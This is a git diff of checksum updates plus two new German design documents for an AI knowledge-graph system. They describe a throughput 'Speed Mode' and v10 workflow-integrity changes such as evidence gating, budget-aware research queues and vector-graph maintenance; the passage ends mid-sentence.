+64ce8ac9d3ef9a3d796e66eb83b01be33b57014ad8d8cbc54c5c2ed999f43f3b ./internal/engine/vector_maintenance_v10.go +d8f2af458612b1db790d642f67f83f6ac9b6374d1d09758a7af4c9ed69d41956 ./internal/engine/vector_maintenance_v10_test.go b82980a646a92751bdd27a866ba1ffc6d34a3ba81d537f7b6e5a78e1432ee6fa ./internal/glpi/client.go 525102be56bc51ce8a08655b1b2bb53b67f4a1828903585fd664ed6a5133f617 ./internal/glpi/client_test.go f6c0356a13247ba0cfd348f197aef9bf35e28646e794f7a7153cfc66c9b863a1 ./internal/graph/analysis_dashboard.go 350c1ace352a8818701cfbf51e39372c3e56d1cd32b92f67dc343f35e3154807 ./internal/graph/analysis_dashboard_test.go 5e1b064bda200cf6f14278093f7a48132b175c73973706322623b049b8083737 ./internal/graph/filter.go c14883e3db65a61672d0171c98a9c2d5ccff3fa6ac74e7236c16819d27ddf503 ./internal/graph/filter_test.go -9585f6089d523ad33494439e8d20ceb130908a1d33399a93607c90ecef48a028 ./internal/graph/research_tasks.go +cf8429d1834048774a67dd287cc6b57d74c7e6b293f155de2187d6502baf8265 ./internal/graph/research_tasks.go e040907cc44da44b09e574644db21529ae582dc8422d5f62ae950dc3395824c0 ./internal/graph/research_tasks_test.go 5670d71d8ca775ce5c85251cfe27e38623024738e70b0a65f3cd1cc04ff8e737 ./internal/graph/semantic_cluster.go e3fffa461fe56ad9c755e1d759fa19834b73294b8fb7bcc04086e18a8acaf5ab ./internal/graph/semantic_cluster_test.go @@ -162,7 +177,7 @@ e3fffa461fe56ad9c755e1d759fa19834b73294b8fb7bcc04086e18a8acaf5ab ./internal/gra 356a97d5beab1b4723e049df27a3bbd13fa4933b7dd808e693dde57f1531736a ./internal/graph/sqlite_checkpoint_policy_test.go fa627f9cce8118d41f8af8e9514e629fce855bd64171e11d9e34619a7612d16f ./internal/graph/store.go 611a1b5abc6a2afb2242373007e845fd53ab78dabdb287209bcd0bdf3d4a4666 ./internal/graph/store_test.go -36864e737c773b61135f7f8ede5ce30ec41967c69e2f5c02aece69faf879ecb1 ./internal/graph/vector_layer.go +7338fd8cc3ddfa1837079929f89e9b672b113e233569b1d5a14fe5cf63b5d4fe ./internal/graph/vector_layer.go 4f1ae7d59814ca120ed5ca4d274117f3852c21176c745d9a4cd9629ab314ca9f ./internal/graph/vector_layer_test.go 4476351d388d11c6becd78b4c918fc8d47dfd70500d8b3e2ddf81f7ff61a2cea ./internal/ingest/agent.go 05bdcd8f82756af028807a9ba37e64232e2d93b6a803468d0a29665bbdb3067f ./internal/ingest/glpikb.go @@ -170,15 +185,15 @@ ff44d56d56b9e301fbcf0f028d1bae6f0b851665f4fee65222097f1a2450f24a ./internal/ing 1b723beb88f8171615c69ac13cb47d10a39bee3fd37d4583efea99a99cb95541 ./internal/ingest/knowledge.go 401294d406cc59680aa9627fee5ff2ec18f0e235e3237b96b654b1aa68d31d69 ./internal/ingest/knowledge_test.go ce87b7fc774c7f67145b6823231e362b5b96c5bd2216afb76cdccda106d99825 ./internal/model/model.go -4ce33ab15baa9aebeaeb91d3a15f42f49a71713b737dcb7031a9e765b9d66f54 ./internal/ollama/client.go -f34d967b66eef33d4441dd6dde445071926241c494df6dedb93617b8c810ade8 ./internal/ollama/client_test.go +b65ef6a9024aed8ae3866d7aaa4f0c33ac5a0341c34e8dddfe12438e9fa3fd29 ./internal/ollama/client.go +93f31475ec7c23f0d12fa1eee34840ee0a29c808d813f2d1366be584a28d6a87 ./internal/ollama/client_test.go aabe6b4809c0f25dacb258ae7180b0281383f7508fe24d8c87f67c8c995d4fe6 ./internal/persist/coordinator.go 46144aa719ff5c3ab787c214d8e32e4b3c6883bed068410e5403a26f6352cd6a ./internal/persist/coordinator_test.go 09fc87e1e6147e0f3d221b51f6a5a39712a113ad16ce4048fad1b0fc3d5c82a9 ./internal/research/fetch.go 6a9f269783a7c41d5b63f9bd5022f415ed1b5572041ca5ccae1512d6dc2a0b80 ./internal/research/fetch_test.go edd033455bfd3925e5cdf5183a363ad527e7cf81beca183339fdc0b5410349ee ./internal/research/searxng.go 5a1155da5809f3a5dbd99a98094c5778424e3f4bf93fa14bd442e91cdcc08094 ./internal/research/searxng_test.go -7a4aa107cbf0eae1493f671112378bb82624dfb360702748029931f7b4be82ed ./internal/sourceagent/agent.go +2d7204b2ebb148b640b794eac81f027cd4ab3bcb150dc31484a479ebff1b056c ./internal/sourceagent/agent.go 64c512092fccb506597dca5d02545f0d6336116e9da907b66e366ce55985e5d0 ./internal/sourceagent/article_quality_compute.go 0cc39e9e862f1d06080a4e4c963e8c99775e1f2b4ef506956908825471b95b9f ./internal/sourceagent/article_quality_compute_test.go 051f214fe5203873b51b6b8a0b131f053bbeb8bb95dee6cc5818da6c5575a7de ./internal/sourceagent/compute.go @@ -187,27 +202,27 @@ fc1ed2dfd0cfb68da57dd294757629010bc8f6c7f84daec81788acdb661523f5 ./internal/sou ec45635bff833af5477afcf47888641d55b5122e2a7aeda004df34f79fbfb44a ./internal/sourceagent/controller_test.go aa2b3feee511de88eecee1acad6c79a9c7fc33581955fa3acfa22c02b3ad52f3 ./internal/sourceagent/controller_types.go 73c6b6a454f2721aef286fa8ba650680ab6fe701aec62c960a226883f54623e2 ./internal/sourceagent/docker_controller.go -c7cefff99e3253c197cbee30755661cd527aa01f82c4e6f924b968c48a51d31d ./internal/sourceagent/sourceagent_test.go +0760cc7130846b66cdd994a15b493bc9cf4db6e25756c705729187a5572cd940 ./internal/sourceagent/sourceagent_test.go cfc93f66e127a244bc1a079ca9088ba49abe6e61a38fa76e2bde0fe0e32c1583 ./internal/sourceagent/store.go -7156a61292b9aefacb392a4d4634c3595e1ac724e3afd14e0f1f80be025be3c1 ./internal/sourceagent/types.go -e22ad21c3fa4fe55a44965a34861e7706861d427008e4e519c32937c296d3a5b ./internal/vectorgraph/vectorgraph.go -1eb65cb1f1abd5fd371159d5251e7d32aa15cbc0de6ad56cd0e2c75bb3d84e03 ./internal/vectorgraph/vectorgraph_test.go +0a8c1d4e9c191639a25783ad2db4a471e459f3ca7dec9bda322fb813c3b15199 ./internal/sourceagent/types.go +7f1d22f8ebe29e9215390bf1e42cceefba6ff6957d3e0cf81afa31f9ff8bbfd6 ./internal/vectorgraph/vectorgraph.go +18455e9027e12c2978face3455a1f1f6de2b1588b18266c3a0ea939728b16569 ./internal/vectorgraph/vectorgraph_test.go de8e6755f45520bfe250fbb8ada97fbbeb33b41386b233a981696ed211224d48 ./internal/web/controller.go c76dd9a9812f19480bb0af092a5a3111ef4ca6e82cd009a55bd44f9163753010 ./internal/web/readiness.go -04d3e0c2b7c6b2e6eb4d3cce337c28452c8228b5d54fe85dccd7c57417e3c3e8 ./internal/web/server.go +c70fd06622a1a3464f8b3ae3af1ee8b57b539000692d30b7980f3cb68410cbe4 ./internal/web/server.go 94cdead28459c382d22013229dd56580f559be83b280e10c0698be45c88c04da ./internal/web/server_test.go -f9b1f61ab3c2ff3303ad2ac5bc3407230538b636b5eba838fd59cfda2957e9bd ./internal/web/source_agents.go +84cee74653d4c7ec5619aabe18ab9cf09000481dd36765549b9261337caeed8f ./internal/web/source_agents.go 33457bf608d24203a99f84bae39cf00ffb0dce2db733f61176cb6351ba8d45b2 ./internal/web/static/analysis.css 974e739cce93dc6141a301f8917934dc8abf5077d124054f700902f2bb0cb40b ./internal/web/static/analysis.html 27e59c232987bbbd149c2b37ce780527a9ba12af481dca8819367aaee9e672e0 ./internal/web/static/analysis.js 5887106080718a2cd3d97baddb37e09e9bc733768b567f553cce8084d1dec8bb ./internal/web/static/app.css -dc425f67b79d990356b818d059a9d5f73c550b20892cc7d9587cc0fbc3061692 ./internal/web/static/app.js -699a6b744cec5bfd4aafa7e736f28132700bc3af0bbbceefe1e1f650d431e739 ./internal/web/static/index.html +72b38df9f5d25bcf477f7209e9b9b051d109326ea0fe7dd4161008b1dc9c5eb4 ./internal/web/static/app.js +a799ad6b583e73146c811dda7a9904dc0c9b7a184f6225eadf3089caaa1fe3da ./internal/web/static/index.html 8a8c382ac8b2db3a20b04d66793bec7bb9b215150312d0fce44ebda0cc02314b ./internal/web/static/source-agents.css 67cb51eb19ede31e42f4fb597bc0ddc36f9fb23021bbea1c36b1e04641cb51db ./internal/web/static/source-agents.html d804a7b44c58ab2db6b6e0541fc8b01ae21c15fa058c89466698abd4a4a7fd2d ./internal/web/static/source-agents.js -ee527efd31cc069b08ebbd53d3df7f6374cb245ae64e7e25278dc0b6381aefa4 ./internal/workqueue/limiter.go -12209426f68411da5bd793a2c499992e914fc5de9ab48fa3e0c4c89215d77b9e ./internal/workqueue/limiter_test.go +c98f045ea34adde78da0ffe8b1eb4d7662236710cc382048ebd66ac298233073 ./internal/workqueue/limiter.go +824d6cd2c388cee9dd8008692c8d2f00d1044e60287c47c2e78d1fbe366f2d37 ./internal/workqueue/limiter_test.go 83aded814b6225395935e61fe957963c3c470f368fc9089f505b6de23e959115 ./preview.png 8d2a2794dfc3048a25aefa7cc47545cb8d70842b9092db42dbce3176fdab0f46 ./run.ps1 a5f073faef5358937f6fb46cfa489e6c42c06febe3da8c432474deff0ad77440 ./runs.jsonl diff --git a/SPEED-MODE-V11.md b/SPEED-MODE-V11.md new file mode 100644 index 0000000..9d04593 --- /dev/null +++ b/SPEED-MODE-V11.md @@ -0,0 +1,252 @@ +# Speed Mode v11 + +## Ziel + +Speed Mode ist ein expliziter Throughput-/Benchmark-Modus fuer GLPI Neural Brain. Er entfernt kuenstliche Pacing-Pausen, hebt CPU-/GPU-Parallelitaet zur Laufzeit an und treibt vorhandene Queues unmittelbar weiter, solange Arbeit vorhanden ist. + +Der Modus ist **kein Safety-Off-Schalter**. Datenintegritaet, fachliche Quality-Gates, HTTP-Timeouts, Fehler-Cooldowns, SQLite-/Graph-Locks, Docker-Controller-Policy, Research-Deduplizierung und Tagesbudgets bleiben aktiv. + +## Runtime-Schalter + +```env +BRAIN_SPEED_MODE=false +# leer/nicht gesetzt = runtime.NumCPU() +BRAIN_SPEED_CPU_TASKS= +# gleichzeitige Ollama-Requests pro Node +BRAIN_SPEED_GPU_TASKS=4 +``` + +Die Werte koennen im zentralen Dashboard zur Laufzeit geaendert werden: + +- `Speed Mode` +- `CPU-Tasks` (1..256) +- `GPU-Tasks je Ollama-Node` (1..64) + +Eco und Speed sind gegenseitig exklusiv. Wird Speed eingeschaltet, wird Eco ausgeschaltet. + +## CPU-Pfad + +### Dynamischer Shared Work Limiter + +Der bisher statische gemeinsame Research-/Ollama-Limiter ist runtime-resizable. Im Speed Mode wird seine Parallelitaet mindestens auf + +```text +max(speed_cpu_tasks, speed_gpu_tasks * konfigurierte_ollama_nodes) +``` + +angehoben. Die Wartequeue wird auf mindestens das 16-fache dieses Werts erweitert. + +Beim Abschalten von Speed werden die normalen ENV-Limits wiederhergestellt. Bereits laufende Arbeit wird beim Herunterregeln nicht abgebrochen; neue Arbeit wartet auf das normale Limit. + +### Vector-Graph intern parallel + +Der CPU-schwerste deterministische Job war bisher intern weitgehend single-threaded. v11 fuegt `Workers` zum mathematischen Vector-Graph hinzu. + +Im Normalmodus: + +```text +Workers = 1 +``` + +Im Speed Mode: + +```text +Workers = speed_cpu_tasks +``` + +Parallelisiert werden die unabhaengigen per-Node Phasen: + +- LSH-Bucket-Lookups +- bounded Candidate-Auswahl +- exakte Cosine-Vergleiche +- lokale kNN-/Sigma-Berechnung +- Orphan-Focused-Pass + +Die Ergebnisaggregation erfolgt nach Abschluss der Worker wieder deterministisch in sortierter Node-Reihenfolge. Ein Regressionstest vergleicht Single- und Multi-Worker-Ergebnis byte-/strukturidentisch. + +### Compute-Agent Burst + +Das Brain sendet an Compute-Agenten live: + +```json +{ + "speed_mode": true, + "cpu_tasks": 16 +} +``` + +Ein Speed-Agent kann bis zu `cpu_tasks` Compute-Worker gleichzeitig betreiben und vorhandene `article_quality`-/`vector_graph`-Jobs ohne den normalen Poll-Abstand drainen. Die Performance-Policy wird alle 5 Sekunden separat aktualisiert; bei aktivem Speed gibt es zusaetzlich einen 250-ms-Wake-Poll, der nur bei vorhandener Arbeit Compute ausloest. + +Source-Polling-Intervalle werden nicht ignoriert. Speed soll nicht dieselbe RSS/Sitemap-Quelle in einer Busy Loop abrufen. + +## GPU-/Ollama-Pfad + +`speed_gpu_tasks` ist das **maximale InFlight-Limit pro Ollama-Node**. + +Beispiel: + +```text +2 Ollama Nodes +speed_gpu_tasks = 4 +=> bis zu 8 reservierbare Modellrequests im Pool +``` + +Das Limit wird ohne Neustart auf dem Ollama-Client geaendert. Bereits aktive Requests werden beim Herunterregeln nicht abgebrochen. + +### Low-Priority-Yield + +Normale Hintergrundjobs nutzen weiterhin den Low-Priority-Kontext und lassen interaktive Requests vor. Speed Mode entfernt diese kuenstliche Prioritaetsbremse: Background-Modellcalls werden als normale Calls eingereiht. + +Die echte Node-Kapazitaet bleibt trotzdem bindend. Ist ein Node voll, wartet der Request auf einen freien Slot statt zu busy-spinnen. + +### VRAM-Hinweis + +Mehr InFlight ist nicht automatisch schneller. Bei grossen Modellen kann ein zu hoher Wert zu KV-Cache-/VRAM-Druck, Modell-Evictions oder OOM fuehren. `4` ist nur ein aggressiver Startwert, kein universelles Optimum. Fuer reine Benchmarktests kann weiter erhoeht werden. + +## Entfernte kuenstliche Pausen + +Bei aktivem Speed: + +- AI-THINK Startup-Delay: `12s -> 0` +- `BRAIN_ENRICH_STEP_DELAY`: effektiv `0` +- AI-THINK requeued sofort als `speed-drain`, solange Kandidaten verarbeitet werden +- Autonomous-Research Startup-Scan: sofort +- Autonomous `idle_only`: effektiv aus +- `tasks_per_cycle`: innerhalb des verbleibenden Tagesbudgets fuer den Scanner nicht mehr die Durchsatzbremse +- erfolgreicher Autonomous Task weckt Queue/Scanner sofort erneut +- Source Inbox drainiert Classification + Proactive Security batchweise bis leer +- neue Agent-Ingests wecken die Source Inbox ereignisgetrieben +- optionale Vector-Agent-Startup-Grace wird uebersprungen, wenn Agent-Offload nicht REQUIRED ist +- Vector-Maintenance Startup-Vorsprung: `5s -> 0` +- reine 55-ms-UI-Aktivierungspause pro Query-Treffer: `0` +- Compute-Agent drainiert vorhandene Compute-Jobs ohne normalen Poll-Sleep + +## Bewusst **nicht** entfernt + +Folgende Grenzen sind keine Performance-Sleeps, sondern Sicherheits-/Konsistenzmechanismen: + +- HTTP-/Ollama Request Timeouts +- Ollama Failure Cooldown +- Controller-Job-Laufzeit und laufende Re-Authorisierung +- Docker Master/Autonomous/Dry-Run/Destructive-Gates +- Research semantische Deduplizierung +- Autonomous Tagesbudget +- Source-Task PollInterval +- SQLite Persistenztransaktionen und WAL-Regeln +- Graph-Mutations-Lock (`Engine.mu`) +- Vector-Reevaluation-/Layout-Cadence +- Agent-Leases +- Quality-/Grounding-/Coverage-Gates + +Damit kann Speed nicht dieselbe Wissensluecke endlos recherchieren, keine Quality-Gates umgehen und keine konkurrierenden Graphschreiber auf denselben semantischen Layer loslassen. + +## Source Inbox + +Normal: + +```text +Ticker -> ein Classification-Batch -> ein Security-Batch -> warten +``` + +Speed: + +```text +Wake/Ticker + -> Classification Batch + -> Security Batch + -> noch Arbeit? + ja -> sofort naechste Runde + nein -> schlafen bis Event/Ticker +``` + +Dadurch gibt es keinen Busy-Spin bei leerer Queue. + +## Autonomous Research + +Speed veraendert **Scheduling/Pacing**, nicht die fachlichen Budgets. + +```text +idle_only wird ignoriert +startup scan sofort +remaining daily capacity kann in einem Scan enqueueed werden +Task-Ende -> sofort speed-drain Wake +``` + +Weiter aktiv: + +- `BRAIN_AUTONOMOUS_RESEARCH_MAX_TASKS_PER_DAY` +- semantische Queue-Deduplizierung +- Quality-/Evidence-Gates +- maximal ein graphmutierender Autonomous-Workflow in der kritischen Engine-Sektion + +## Vector Agent Verhalten + +Wenn Speed aktiv und `BRAIN_VECTOR_GRAPH_AGENT_REQUIRED=false`: + +```text +Agent vorhanden -> Offload +Agent nicht sofort vorhanden -> lokaler paralleler CPU-Fallback +``` + +Es wird nicht mehr optional bis zu zwei Minuten auf einen spaet startenden Agenten gewartet. + +Bei `AGENT_REQUIRED=true` bleibt die explizite Operatorentscheidung bindend. + +## Dashboard + +Der Hauptbildschirm besitzt einen `SPEED`-Quick-Toggle. Im Settings-Panel koennen CPU-/GPU-Limits exakt gesetzt werden. + +Status/Analyse enthalten: + +```text +speed_mode +speed_cpu_tasks +speed_gpu_tasks +speed_algorithm = throughput-v1 +``` + +Der Ollama-Pool zeigt das live angewendete `node_max_inflight`; die Shared Queue zeigt das live angewendete `max_inflight` und `queue_size`. + +## Empfohlene aggressive Testkonfiguration + +CPU: + +```text +speed_cpu_tasks = Anzahl logischer/zugewiesener CPU-Kerne +``` + +GPU zunaechst: + +```text +speed_gpu_tasks = 2..4 pro Ollama-Node +``` + +Danach anhand realer Latenz, VRAM und Tokens/s erhoehen. Ein groesserer InFlight-Wert kann bei einem einzelnen grossen Modell langsamer werden, wenn Ollama Requests nur zeitgeteilt statt wirklich parallel verarbeitet. + +## Sicherheitsmodell + +Speed Mode veraendert den Docker-Controller nicht. Ein Controller-Agent bleibt weiterhin an folgende Gates gebunden: + +```text +Master ON ++ Autonomous ON (fuer autonome Profile) ++ Profil enabled/autonomous ++ Capability ++ Allow-/Protect-Listen ++ Dry-Run ++ Destructive Gate +``` + +Speed erteilt keinerlei neue Docker- oder Hostrechte. + +## Synthetischer CPU-Plausibilitaetscheck + +In der verfuegbaren Testumgebung (`AMD EPYC 9V74`, Go-Runner mit 5 sichtbaren CPUs) wurde ein synthetischer Build mit 2.500 Vektoren × 256 Dimensionen, CandidateLimit 96 und einem Durchlauf verglichen: + +```text +Workers=1 ~95.7 ms +Workers=5 ~32.7 ms +Speedup ~2.9x +``` + +Das ist nur ein Plausibilitaetsbenchmark und keine Prognose fuer den produktiven 21k×768D-Bestand. Der reale Speedup haengt von Candidate-Dichte, Cache/Memory-Bandbreite und CPU-Zuteilung ab. diff --git a/WORKFLOW-INTEGRITY-V10.md b/WORKFLOW-INTEGRITY-V10.md new file mode 100644 index 0000000..f8b1789 --- /dev/null +++ b/WORKFLOW-INTEGRITY-V10.md @@ -0,0 +1,482 @@ +# Workflow Integrity v10 + +## Ziel + +v10 haertet vier Workflowgrenzen, die im Realbetrieb nach v9 sichtbar wurden: + +1. Relationsrecherche darf keine ungeprueften Suchtreffer mehr als Graph-Evidenz materialisieren. +2. Der autonome Opportunity-Scanner darf bei ausgeschoepftem Tagesbudget keinen wachsenden Research-Backlog erzeugen. +3. Operational klassifizierte Artikel duerfen bei fehlender operativer Evidenz genau einmal in einen tragfaehigen nicht-operationalen Artikeltyp umgeplant werden, ohne Quality-Gates zu lockern. +4. Mathematische Vector-Reevaluation und sanfte Layout-Relaxation muessen auch bei pausiertem Learning weiterlaufen und ihren effektiven Layoutmodus korrekt melden. + +Zusaetzlich werden autonome Research-Gesamtsummen restart-stabil aus SQLite gelesen. + +--- + +## 1. Thinking Relation Research: Fulltext Evidence Gate v10 + +### Problem in v9 + +Der aeltere Relation-Research-Pfad behandelte SearXNG-Treffer anders als die neuere Autonomous-/Article-Research-Pipeline. Ein Relation-Planner konnte eine Suchanfrage erzeugen, die interne Graph-IDs statt sichtbarer Fachbegriffe enthielt. Suchtreffer wurden zwar durch Source-/Category-Filter eingeschraenkt, aber nicht einzeln durch einen strikten Fulltext-Evidenzpfad validiert. Wenn der zweite Relationsreview anschliessend die Relation akzeptierte, konnten die erlaubten Suchtreffer dauerhaft als externe Research-Nodes materialisiert werden. + +Das war eine stille Graphkontaminationsmoeglichkeit: Die Relation selbst konnte fachlich plausibel sein, waehrend die zugehoerigen Webtreffer fachfremd waren. + +### v10-Verhalten + +Relationsrecherche arbeitet jetzt nach diesem Ablauf: + +```text +Relation Planner + ↓ +Research benoetigt? + ├─ nein → Relation normal bewerten + └─ ja + ↓ +Query Guard + ↓ +interne Node-ID / Hash / kein fachlicher Titelanker? + ├─ ja → Query deterministisch aus sichtbaren Labels neu aufbauen + └─ nein → Planner-Query behalten + ↓ +SearXNG SearchDetailed + ↓ +Thinking Source Scope + ↓ +Snippet Topic Gate + ↓ +max. 4 Fulltext-Fetches + ↓ +Fulltext Topic Guard + Relevance + Source Quality + ↓ +NUR akzeptierte Volltexte + ↓ +zweiter Qwen-Relationsreview + ↓ +Relation akzeptiert? + ├─ nein → keine Graphmaterialisierung + └─ ja → nur akzeptierte Fulltext-Evidence materialisieren +``` + +### Query Guard + +Interne Identifikatoren duerfen nicht in oeffentliche Suchanfragen gelangen. + +v10 erkennt insbesondere: + +- konkrete Source-/Target-Node-IDs; +- hexadezimale ID-/Hash-artige Tokens mit 20 bis 64 Zeichen; +- generische Planner-Queries ohne einen sinnvollen Begriff aus Source-Label, Target-Label oder Topic-Label. + +Bei einem Treffer wird die Query aus menschlich sichtbaren Fachbegriffen neu aufgebaut. Ein Event `think.research.query.rebuilt` dokumentiert Originalquery, neue Query und Grund. + +### Fail-closed + +Wenn eine Relation explizit externe Fakten benoetigt, gilt in v10: + +- Search-/Fetch-Fehler → die beweisabhaengige Relation wird nicht akzeptiert; +- kein einziger Fulltext-Beleg besteht das Evidenzgate → Relation wird nicht akzeptiert; +- zweiter evidenzbasierter Relationsreview scheitert → Relation wird nicht akzeptiert. + +Die Tatsache, dass die beiden internen Nodes eine hohe Vektoraehnlichkeit haben, reicht dann nicht aus, um eine als beweisabhaengig geplante Relation trotzdem zu materialisieren. + +### Ephemeral bis zur Freigabe + +SearXNG-Treffer sind nur Kandidaten. Vor einer akzeptierten Relation entstehen daraus keine External Nodes und keine `research_evidence`-Kanten. + +Erst nach erfolgreichem Fulltext-Gate und erfolgreichem Relationsreview werden akzeptierte Belege via `addResearch` geschrieben. Metadaten enthalten u. a.: + +```text +validation_state = relation_fulltext_gate_v10 +relevance +source_quality +source_quality_score +assessment_reason +``` + +Wenn moeglich wird der akzeptierte Fulltext zusaetzlich im Research-Evidence-Store persistiert und dessen Pfad/Hash am Node hinterlegt. + +--- + +## 2. Autonomous Research: Budget-aware Queue + +### Problem in v9 + +Der Worker respektierte `BRAIN_AUTONOMOUS_RESEARCH_MAX_TASKS_PER_DAY`, der Opportunity-Scanner konnte aber weiter neue Tasks enqueueen. Bei einem absichtlich kurzen Scanintervall entstand dadurch ein persistenter Backlog, obwohl der Worker fuer den aktuellen UTC-Tag keine weiteren Tasks mehr ausfuehren durfte. + +Aehnliche Topics konnten ausserdem durch geaenderte Seed-Mitgliedschaften mehrfach in der Queue liegen. + +### v10-Budgetmodell + +Vor jedem Opportunity-Scan wird die aktuelle Kapazitaet berechnet: + +```text +remaining = max_tasks_per_day + - completed_today_utc + - active_research_tasks +``` + +`active_research_tasks` umfasst die gesamte vom selben Worker konsumierte aktive Queue: + +- `queued` +- `deferred` +- `reserved` +- `running` + +Damit koennen auch manuell/API-eingereihte Tasks nicht dazu fuehren, dass der Scanner zusaetzliche Arbeit ueber die reale Tageskapazitaet hinaus plant. + +Wenn `remaining <= 0`, werden die Graphkandidaten weiterhin deterministisch sichtbar gemacht, aber nicht mehr vom Planner bewertet oder eingereiht. Die Entscheidungen tragen: + +```text +rejection_reason = daily_budget_exhausted +recommended_action = wait_for_next_utc_day_or_finish_queue +``` + +Das vom Benutzer bewusst auf 10 Minuten gesetzte + +```env +BRAIN_AUTONOMOUS_RESEARCH_INTERVAL=10m +``` + +wird dadurch nicht veraendert. Der Scanner darf weiterhin haeufig beobachten; er darf nur keine nicht konsumierbare Queue erzeugen. + +### Semantische Queue-Deduplizierung + +Neben dem exakten `DedupeKey` gibt es jetzt eine deterministische semantische Deduplizierung ueber: + +- normalisierte Topic-Terme; +- Seed-Node-Ueberlappung; +- Forschungsfragen. + +Algorithmuskennung: + +```text +topic-seed-question-jaccard-v1 +``` + +Eine gleiche ATT&CK-/Produkt-/Fehlercode-Wissensluecke bleibt dadurch dieselbe Queue-Arbeit, auch wenn sich die konkrete Seed-Menge zwischen zwei Scans leicht veraendert. + +Vor dem Scan und beim Start des Autonomous-Workers werden alte `queued`/`deferred` Duplikate konsolidiert. Der hoechst priorisierte und bei Gleichstand aeltere Task bleibt Keeper; Inhalte werden zusammengefuehrt, redundante Tasks werden gecancelt. + +Neue Telemetrie: + +```text +autonomous.research.task.merged +autonomous.research.queue.consolidated +semantic_queue_duplicate +daily_budget_exhausted +``` + +Running Tasks werden bei der Konsolidierung nie abgebrochen. + +--- + +## 3. Article Type Reconsideration + +### Problem in v9 + +Viele Themen wurden als `troubleshooting` klassifiziert, obwohl die vorhandenen Quellen keinen belastbaren operationalen Ablauf mit mindestens drei konkreten Schritten trugen. Der Author konnte daraufhin trotz Zusatzrecherche `solution_steps=0` liefern. Die harte Strukturpruefung verwarf den Entwurf noch vor der CPU-Quality-Stufe. + +Das Quality-Gate war korrekt; der falsche Artikeltyp war das Problem. + +### v10: genau eine Reconsideration + +Wenn ein operationaler Typ (`troubleshooting` oder `how_to`) nach der vorgesehenen Research-/Author-Runde an einem der folgenden harten Strukturfehler scheitert: + +```text +insufficient_solution_steps +missing_validation_steps +``` + +darf v10 **genau einmal** einen separaten Qwen-Replanner fragen, ob das vorhandene Evidence-Set fachlich besser als einer dieser Typen darstellbar ist: + +```text +reference +concept +decision_guide +skip +``` + +`troubleshooting` und `how_to` sind in diesem Replan absichtlich nicht mehr zulaessig. + +### Kein Quality-Bypass + +Bei einer Reclassification wird der alte Entwurf nicht umetikettiert. + +```text +alter operationaler Draft + ↓ +Reconsideration + ↓ +neuer nicht-operationaler Typ + ↓ +Knowledge Brief fuer neuen Typ neu bauen + ↓ +Gemma schreibt komplett neu + ↓ +CPU Quality + ↓ +Qwen Claim Review + Coverage Review + ↓ +Final deterministic gates +``` + +Der neue Artikel muss damit die normalen v8/v9-Qualitaetsregeln vollstaendig bestehen. + +Waehlt der Replanner `skip`, endet der Lauf sauber mit: + +```text +wrong_article_type_or_insufficient_operational_evidence +``` + +### Planner-Prompt gehaertet + +Der normale Artikelplaner erhaelt zusaetzlich folgende Regeln: + +- `troubleshooting` nur wenn konkreter Fehler, Diagnose und Recovery zentral sind **und** die Quellen plausibel einen ausfuehrbaren Ablauf tragen; +- `how_to` nur wenn konkrete source-grounded Schritte plausibel vorhanden sind; +- allgemeine Hardening-, Prevention-, Framework-/Standard-Mapping-, Threat-Profile- oder Mechanismen-Themen sind nicht automatisch Troubleshooting; +- wenn die Quellen voraussichtlich keine drei konkreten Schritte tragen, ist ein nicht-operationaler Typ vorzuziehen. + +### Neue Pipeline-Identitaet + +v10 verwendet: + +```text +adaptive_generate_review/v4-quality-routing-v10 +``` + +und im Fingerprint zusaetzlich: + +```text +topic-guard=strict-v3-relation-evidence +``` + +Damit blockieren alte v9-Fehlversuche eine erneute Synthese unter dem korrigierten Routing nicht. + +--- + +## 4. Vector Maintenance unabhaengig von Learning + +### Problem in v9 + +Periodische Vector-Reevaluation und Layoutpflege wurden innerhalb des Learning-Scan-Pfads angestossen. Bei `Learning=false` liefen deshalb auch die mathematischen Maintenance-Zyklen nicht mehr. + +Ausserdem kann folgende Kombination missverstanden werden: + +```env +BRAIN_VECTOR_GRAPH_LAYOUT=true +BRAIN_VECTOR_GRAPH_RELAX_LAYOUT=true +``` + +`LAYOUT=true` bedeutet Vollayout und gewinnt gegen Relaxation. Eine sanfte Wolkenentspannung findet in diesem Zustand nicht statt. + +### v10-Maintenance-Loop + +Nach Bootstrap laeuft eine eigene Maintenance-Schleife unabhaengig von Learning. + +Sie prueft mindestens minuetlich, ob faellig sind: + +- semantische Reevaluation via `BRAIN_VECTOR_GRAPH_REEVALUATE_INTERVAL`; +- sanfte Layout-Relaxation via `BRAIN_VECTOR_GRAPH_LAYOUT_RELAX_INTERVAL`. + +Die eigentliche Berechnung bleibt dieselbe Vector-Mathematik und kann weiterhin auf `vector_graph`-Agenten ausgelagert werden. + +Maintenance und Learning-Scan verwenden denselben Engine-Mutex, sodass sie Vector-Edges/Positionen nicht gleichzeitig ersetzen koennen. + +### Effektive Layoutmodi + +v10 unterscheidet sichtbar: + +```text +off +relax +full +``` + +Regeln: + +```text +BRAIN_VECTOR_GRAPH_LAYOUT=true + → full + +BRAIN_VECTOR_GRAPH_LAYOUT=false ++ BRAIN_VECTOR_GRAPH_RELAX_LAYOUT=true + → relax + +beides false + → off +``` + +Neue Status-/Eventfelder: + +```text +vector_graph_layout_mode +vector_graph_layout_relax_effective +layout_mode +layout_applied +periodic_refresh +layout_refresh +``` + +### Wahrheitsgetreue `last_vector_layout`-Telemetrie + +`last_vector_layout` wird nur bei tatsaechlichen Positionsupdates gesetzt. Um trotzdem zu verhindern, dass ein Neustart sofort eine sanfte Relaxation ausloest, fuehrt v10 einen separaten internen Process-Start-/Not-Before-Zeitpunkt. Die Telemetrie wird nicht mehr mit einem erfundenen Layoutzeitpunkt vorbelegt. + +### Empfohlene Dauerbetriebskonfiguration + +```env +BRAIN_VECTOR_GRAPH_LAYOUT=false +BRAIN_VECTOR_GRAPH_RELAX_LAYOUT=true +BRAIN_VECTOR_GRAPH_LAYOUT_RELAX_INTERVAL=2h +BRAIN_VECTOR_GRAPH_REEVALUATE_INTERVAL=30m +BRAIN_VECTOR_GRAPH_LAYOUT_BLEND=0.08 +BRAIN_VECTOR_GRAPH_LAYOUT_MAX_SHIFT=0.035 +``` + +Fuer beschleunigte visuelle Tests kann temporaer verwendet werden: + +```env +BRAIN_VECTOR_GRAPH_LAYOUT_RELAX_INTERVAL=10m +``` + +Wichtig: Fuer echte Relaxation muss `BRAIN_VECTOR_GRAPH_LAYOUT=false` bleiben. + +--- + +## 5. Restart-stabile Autonomous-Research-Telemetrie + +Die alten in-memory Summen zaehlten nur seit dem letzten Prozessstart. Dadurch konnten nach einem Restart im Status 